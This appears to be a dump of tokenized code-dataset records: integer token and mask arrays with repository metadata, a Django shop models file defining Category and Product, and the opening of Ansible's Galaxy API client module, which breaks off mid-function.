1213,
356,
283,
13965,
577,
7170,
436,
2165,
15859,
10729,
297,
288,
283,
1802,
356,
283,
1064,
21,
26,
2466,
70,
21,
67,
1876,
301,
26274,
70,
16,
65,
2576,
69,
23,
67,
22,
1651,
2055,
1079,
1651,
996,
68,
297,
267,
1660,
272,
789,
339,
347,
485,
3093,
63,
5005,
8,
277,
12,
1166,
304,
267,
3991,
63,
344,
275,
291,
423,
1431,
63,
344,
8,
633,
9,
267,
3066,
63,
1606,
275,
291,
423,
4249,
63,
12022,
8,
288,
283,
1014,
921,
15970,
6993,
14,
1147,
14,
8654,
15,
11418,
3149,
83,
7,
450,
3991,
63,
344,
12,
3991,
63,
344,
9,
267,
3633,
63,
1606,
275,
295,
14,
2014,
8,
82,
7601,
17722,
6697,
306,
4206,
295,
14,
51,
680,
954,
8594,
3066,
63,
1606,
9,
398,
1300,
63,
633,
275,
291,
423,
2625,
63,
6188,
63,
633,
8,
277,
423,
1733,
63,
3821,
8,
288,
519,
7,
711,
350,
6417,
26,
971,
6774,
11198,
4091,
14708,
14,
846,
15,
3196,
3066,
63,
1606,
12,
283,
1095,
1166,
659,
283,
1014,
10993,
267,
6752,
63,
1001,
275,
291,
423,
1733,
63,
3821,
8,
288,
519,
7,
2075,
17153,
26,
14749,
59,
6977,
8995,
22206,
3066,
63,
1606,
12,
283,
3722,
6752,
358,
267,
6752,
63,
1147,
275,
2022,
14,
3640,
8,
6321,
63,
1001,
9,
267,
6752,
275,
359,
288,
469,
355,
283,
908,
63,
344,
356,
289,
459,
1302,
995,
355,
283,
633,
356,
1300,
63,
633,
435,
289,
459,
633,
2278,
5312,
24050,
18,
467,
355,
283,
832,
356,
289,
459,
633,
2278,
5312,
24050,
16,
467,
355,
283,
908,
356,
289,
459,
1302,
995,
355,
283,
2063,
356,
289,
459,
2063,
995,
355,
283,
86,
3289,
356,
289,
459,
24484,
995,
288,
789,
288,
367,
289,
315,
6752,
63,
1147,
267,
1622,
398,
2538,
275,
664,
63,
2108,
63,
991,
63,
344,
360,
3773,
13,
1213,
297,
3633,
63,
1606,
9,
267,
1369,
275,
3633,
63,
1360,
8,
362,
63,
2108,
63,
991,
63,
344,
360,
3773,
13,
1802,
297,
3633,
63,
1606,
430,
267,
10062,
275,
291,
423,
1733,
63,
3821,
8,
288,
519,
7,
10411,
26,
6697,
633,
26,
971,
6774,
11198,
2862,
6448,
288,
3066,
63,
1606,
12,
283,
8311,
297,
3285,
29,
264,
14,
16504,
9,
398,
372,
469,
288,
283,
344,
356,
3991,
63,
344,
12,
288,
283,
1213,
356,
2538,
12,
288,
283,
6321,
356,
6752,
12,
288,
283,
1802,
356,
1369,
12,
288,
283,
8311,
356,
10062,
12,
267,
789,
421,
199,
533,
10697,
4332,
8,
6301,
335,
52,
6849,
649,
4332,
304,
272,
15292,
63,
2339,
275,
283,
3722,
14,
1147,
14,
8654,
7,
272,
485,
5600,
63,
2632,
275,
519,
7,
2859,
14144,
3722,
4537,
1147,
4537,
8654,
15,
6821,
9448,
48,
28,
1213,
26906,
3171,
339,
485,
2864,
275,
469,
267,
283,
633,
356,
283,
1014,
921,
3722,
14,
1147,
14,
8654,
15,
6821,
15,
1589,
13,
71,
27639,
13,
374,
13,
496,
19294,
13,
13297,
13,
6557,
1081,
3678,
267,
283,
1064,
21,
356,
283,
23,
697,
614,
68,
21,
19504,
1085,
2720,
3003,
8216,
16,
69,
25,
67,
25,
69,
969,
10552,
983,
297,
267,
283,
815,
63,
807,
356,
469,
288,
283,
344,
356,
283,
9335,
2658,
297,
288,
283,
832,
356,
283,
311,
20,
297,
288,
283,
1213,
356,
283,
1918,
598,
27639,
365,
2165,
19294,
2047,
297,
288,
283,
1802,
356,
283,
1064,
21,
26,
350,
1641,
2720,
771,
17,
69,
975,
1789,
66,
30665,
1165,
697,
2592,
2417,
1587,
25,
65,
2592,
297,
267,
1660,
272,
789,
339,
347,
485,
3093,
63,
5005,
8,
277,
12,
1166,
304,
267,
14208,
275,
295,
14,
1431,
8,
277,
423,
5600,
63,
2632,
12,
1166,
9,
267,
2034,
63,
1213,
275,
14208,
14,
923,
360,
1213,
358,
267,
9248,
275,
291,
423,
4249,
63,
12022,
8,
633,
12,
2034,
63,
1213,
9,
267,
6441,
63,
633,
275,
291,
423,
1733,
63,
3821,
8,
288,
519,
7601,
20052,
1275,
15279,
2164,
628,
28149,
32691,
9248,
12,
283,
6427,
1166,
358,
267,
372,
291,
14,
633,
63,
1099,
8,
6427,
63,
633,
12,
13446,
534,
6301,
335,
52,
6849,
649,
358,
421,
199,
533,
593,
35,
13073,
649,
4332,
8,
18283,
304,
272,
15292,
63,
2339,
275,
283,
679,
87,
14,
1147,
14,
8654,
7,
272,
485,
5600,
63,
2632,
275,
519,
4289,
1014,
921,
679,
87,
4537,
1147,
4537,
8654,
15,
11653,
9448,
48,
28,
5746,
9514,
65,
13,
90,
16,
13,
25,
16185,
29716,
272,
485,
5825,
63,
2632,
275,
283,
1014,
921,
679,
87,
14,
1147,
14,
8654,
4805,
339,
485,
7569,
275,
359,
267,
469,
288,
283,
633,
356,
283,
1014,
921,
679,
87,
14,
1147,
14,
8654,
15,
11653,
15,
26334,
8825,
13,
3908,
15663,
13,
460,
13,
23805,
13,
9907,
4894,
15,
22,
13,
10531,
13,
6101,
14677,
513,
530,
13,
19135,
13,
10466,
13,
460,
13,
17250,
13,
17210,
13,
70,
452,
13,
6542,
15,
3722,
13,
1264,
1482,
15,
1264,
608,
13,
23,
13,
0
] |
[
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,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,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1
] |
janusnic/dj-21v
|
unit_13/mysite/shop/models.py
|
3
|
1362
|
from django.db import models
from django.core.urlresolvers import reverse
class Category(models.Model):
name = models.CharField(max_length=200, db_index=True)
slug = models.SlugField(max_length=200, db_index=True, unique=True)
class Meta:
ordering = ('name',)
verbose_name = 'category'
verbose_name_plural = 'categories'
def __str__(self):
return self.name
def get_absolute_url(self):
return reverse('shop:product_list_by_category', args=[self.slug])
class Product(models.Model):
category = models.ForeignKey(Category, related_name='products')
name = models.CharField(max_length=200, db_index=True)
slug = models.SlugField(max_length=200, db_index=True)
image = models.ImageField(upload_to='products/%Y/%m/%d', blank=True)
description = models.TextField(blank=True)
price = models.DecimalField(max_digits=10, decimal_places=2)
stock = models.PositiveIntegerField()
available = models.BooleanField(default=True)
created = models.DateTimeField(auto_now_add=True)
updated = models.DateTimeField(auto_now=True)
class Meta:
ordering = ('-created',)
index_together = (('id', 'slug'),)
def __str__(self):
return self.name
def get_absolute_url(self):
return reverse('shop:product_detail', args=[self.id, self.slug])
|
mit
|
[
504,
1639,
14,
697,
492,
1709,
199,
504,
1639,
14,
1018,
14,
16522,
492,
3837,
421,
199,
533,
13573,
8,
992,
14,
1685,
304,
272,
536,
275,
1709,
14,
2183,
8,
988,
63,
1267,
29,
1840,
12,
1592,
63,
1080,
29,
549,
9,
272,
8889,
275,
1709,
14,
17315,
8,
988,
63,
1267,
29,
1840,
12,
1592,
63,
1080,
29,
549,
12,
3747,
29,
549,
9,
339,
1021,
6288,
26,
267,
7794,
275,
661,
354,
9538,
267,
3376,
63,
354,
275,
283,
3710,
7,
267,
3376,
63,
354,
63,
10019,
275,
283,
8906,
7,
339,
347,
636,
495,
721,
277,
304,
267,
372,
291,
14,
354,
339,
347,
664,
63,
6116,
63,
633,
8,
277,
304,
267,
372,
3837,
360,
10568,
26,
2558,
63,
513,
63,
991,
63,
3710,
297,
1249,
1524,
277,
14,
5464,
566,
421,
199,
533,
12705,
8,
992,
14,
1685,
304,
272,
4637,
275,
1709,
14,
3190,
8,
7841,
12,
4048,
63,
354,
534,
13336,
358,
272,
536,
275,
1709,
14,
2183,
8,
988,
63,
1267,
29,
1840,
12,
1592,
63,
1080,
29,
549,
9,
272,
8889,
275,
1709,
14,
17315,
8,
988,
63,
1267,
29,
1840,
12,
1592,
63,
1080,
29,
549,
9,
272,
1834,
275,
1709,
14,
21910,
8,
5064,
63,
475,
534,
13336,
3149,
57,
3149,
77,
3149,
68,
297,
4596,
29,
549,
9,
272,
1369,
275,
1709,
14,
6254,
8,
2500,
29,
549,
9,
272,
8033,
275,
1709,
14,
15975,
8,
988,
63,
7022,
29,
709,
12,
6107,
63,
10696,
29,
18,
9,
272,
10952,
275,
1709,
14,
8591,
342,
272,
2808,
275,
1709,
14,
5036,
8,
885,
29,
549,
9,
272,
2737,
275,
1709,
14,
4626,
8,
2495,
63,
2131,
63,
525,
29,
549,
9,
272,
4588,
275,
1709,
14,
4626,
8,
2495,
63,
2131,
29,
549,
9,
339,
1021,
6288,
26,
267,
7794,
275,
12291,
3966,
9538,
267,
1478,
63,
6314,
275,
13636,
344,
297,
283,
5464,
659,
9,
339,
347,
636,
495,
721,
277,
304,
267,
372,
291,
14,
354,
339,
347,
664,
63,
6116,
63,
633,
8,
277,
304,
267,
372,
3837,
360,
10568,
26,
2558,
63,
5506,
297,
1249,
1524,
277,
14,
344,
12,
291,
14,
5464,
566,
199,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768
] |
[
1639,
14,
697,
492,
1709,
199,
504,
1639,
14,
1018,
14,
16522,
492,
3837,
421,
199,
533,
13573,
8,
992,
14,
1685,
304,
272,
536,
275,
1709,
14,
2183,
8,
988,
63,
1267,
29,
1840,
12,
1592,
63,
1080,
29,
549,
9,
272,
8889,
275,
1709,
14,
17315,
8,
988,
63,
1267,
29,
1840,
12,
1592,
63,
1080,
29,
549,
12,
3747,
29,
549,
9,
339,
1021,
6288,
26,
267,
7794,
275,
661,
354,
9538,
267,
3376,
63,
354,
275,
283,
3710,
7,
267,
3376,
63,
354,
63,
10019,
275,
283,
8906,
7,
339,
347,
636,
495,
721,
277,
304,
267,
372,
291,
14,
354,
339,
347,
664,
63,
6116,
63,
633,
8,
277,
304,
267,
372,
3837,
360,
10568,
26,
2558,
63,
513,
63,
991,
63,
3710,
297,
1249,
1524,
277,
14,
5464,
566,
421,
199,
533,
12705,
8,
992,
14,
1685,
304,
272,
4637,
275,
1709,
14,
3190,
8,
7841,
12,
4048,
63,
354,
534,
13336,
358,
272,
536,
275,
1709,
14,
2183,
8,
988,
63,
1267,
29,
1840,
12,
1592,
63,
1080,
29,
549,
9,
272,
8889,
275,
1709,
14,
17315,
8,
988,
63,
1267,
29,
1840,
12,
1592,
63,
1080,
29,
549,
9,
272,
1834,
275,
1709,
14,
21910,
8,
5064,
63,
475,
534,
13336,
3149,
57,
3149,
77,
3149,
68,
297,
4596,
29,
549,
9,
272,
1369,
275,
1709,
14,
6254,
8,
2500,
29,
549,
9,
272,
8033,
275,
1709,
14,
15975,
8,
988,
63,
7022,
29,
709,
12,
6107,
63,
10696,
29,
18,
9,
272,
10952,
275,
1709,
14,
8591,
342,
272,
2808,
275,
1709,
14,
5036,
8,
885,
29,
549,
9,
272,
2737,
275,
1709,
14,
4626,
8,
2495,
63,
2131,
63,
525,
29,
549,
9,
272,
4588,
275,
1709,
14,
4626,
8,
2495,
63,
2131,
29,
549,
9,
339,
1021,
6288,
26,
267,
7794,
275,
12291,
3966,
9538,
267,
1478,
63,
6314,
275,
13636,
344,
297,
283,
5464,
659,
9,
339,
347,
636,
495,
721,
277,
304,
267,
372,
291,
14,
354,
339,
347,
664,
63,
6116,
63,
633,
8,
277,
304,
267,
372,
3837,
360,
10568,
26,
2558,
63,
5506,
297,
1249,
1524,
277,
14,
344,
12,
291,
14,
5464,
566,
199,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
0
] |
[
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
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
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
kontrafiktion/ansible
|
lib/ansible/galaxy/api.py
|
3
|
10440
|
#!/usr/bin/env python
########################################################################
#
# (C) 2013, James Cammarata <jcammarata@ansible.com>
#
# This file is part of Ansible
#
# Ansible is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
#
# Ansible is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with Ansible. If not, see <http://www.gnu.org/licenses/>.
#
########################################################################
from __future__ import (absolute_import, division, print_function)
__metaclass__ = type
import json
import urllib
from urllib2 import quote as urlquote, HTTPError
import ansible.constants as C
from ansible.errors import AnsibleError
from ansible.module_utils.urls import open_url
from ansible.galaxy.token import GalaxyToken
from ansible.utils.unicode import to_str
try:
from __main__ import display
except ImportError:
from ansible.utils.display import Display
display = Display()
def g_connect(method):
''' wrapper to lazily initialize connection info to galaxy '''
def wrapped(self, *args, **kwargs):
if not self.initialized:
display.vvvv("Initial connection to galaxy_server: %s" % self._api_server)
server_version = self._get_server_api_version()
if not server_version in self.SUPPORTED_VERSIONS:
raise AnsibleError("Unsupported Galaxy server API version: %s" % server_version)
self.baseurl = '%s/api/%s' % (self._api_server, server_version)
self.version = server_version # for future use
display.vvvv("Base API: %s" % self.baseurl)
self.initialized = True
return method(self, *args, **kwargs)
return wrapped
class GalaxyAPI(object):
''' This class is meant to be used as a API client for an Ansible Galaxy server '''
SUPPORTED_VERSIONS = ['v1']
def __init__(self, galaxy):
self.galaxy = galaxy
self.token = GalaxyToken()
self._api_server = C.GALAXY_SERVER
self._validate_certs = not galaxy.options.ignore_certs
self.baseurl = None
self.version = None
self.initialized = False
display.debug('Validate TLS certificates: %s' % self._validate_certs)
# set the API server
if galaxy.options.api_server != C.GALAXY_SERVER:
self._api_server = galaxy.options.api_server
def __auth_header(self):
token = self.token.get()
if token is None:
raise AnsibleError("No access token. You must first use login to authenticate and obtain an access token.")
return {'Authorization': 'Token ' + token}
@g_connect
def __call_galaxy(self, url, args=None, headers=None, method=None):
if args and not headers:
headers = self.__auth_header()
try:
display.vvv(url)
resp = open_url(url, data=args, validate_certs=self._validate_certs, headers=headers, method=method)
data = json.load(resp)
except HTTPError as e:
res = json.load(e)
raise AnsibleError(res['detail'])
return data
@property
def api_server(self):
return self._api_server
@property
def validate_certs(self):
return self._validate_certs
def _get_server_api_version(self):
"""
Fetches the Galaxy API current version to ensure
the API server is up and reachable.
"""
url = '%s/api/' % self._api_server
try:
return_data =open_url(url, validate_certs=self._validate_certs)
except Exception as e:
raise AnsibleError("Failed to get data from the API server (%s): %s " % (url, to_str(e)))
try:
data = json.load(return_data)
except Exception as e:
raise AnsibleError("Could not process data from the API server (%s): %s " % (url, to_str(e)))
if not 'current_version' in data:
raise AnsibleError("missing required 'current_version' from server response (%s)" % url)
return data['current_version']
@g_connect
def authenticate(self, github_token):
"""
Retrieve an authentication token
"""
url = '%s/tokens/' % self.baseurl
args = urllib.urlencode({"github_token": github_token})
resp = open_url(url, data=args, validate_certs=self._validate_certs, method="POST")
data = json.load(resp)
return data
def create_import_task(self, github_user, github_repo, reference=None):
"""
Post an import request
"""
url = '%s/imports/' % self.baseurl
args = urllib.urlencode({
"github_user": github_user,
"github_repo": github_repo,
"github_reference": reference if reference else ""
})
data = self.__call_galaxy(url, args=args)
if data.get('results', None):
return data['results']
return data
@g_connect
def get_import_task(self, task_id=None, github_user=None, github_repo=None):
"""
Check the status of an import task.
"""
url = '%s/imports/' % self.baseurl
if not task_id is None:
url = "%s?id=%d" % (url,task_id)
elif not github_user is None and not github_repo is None:
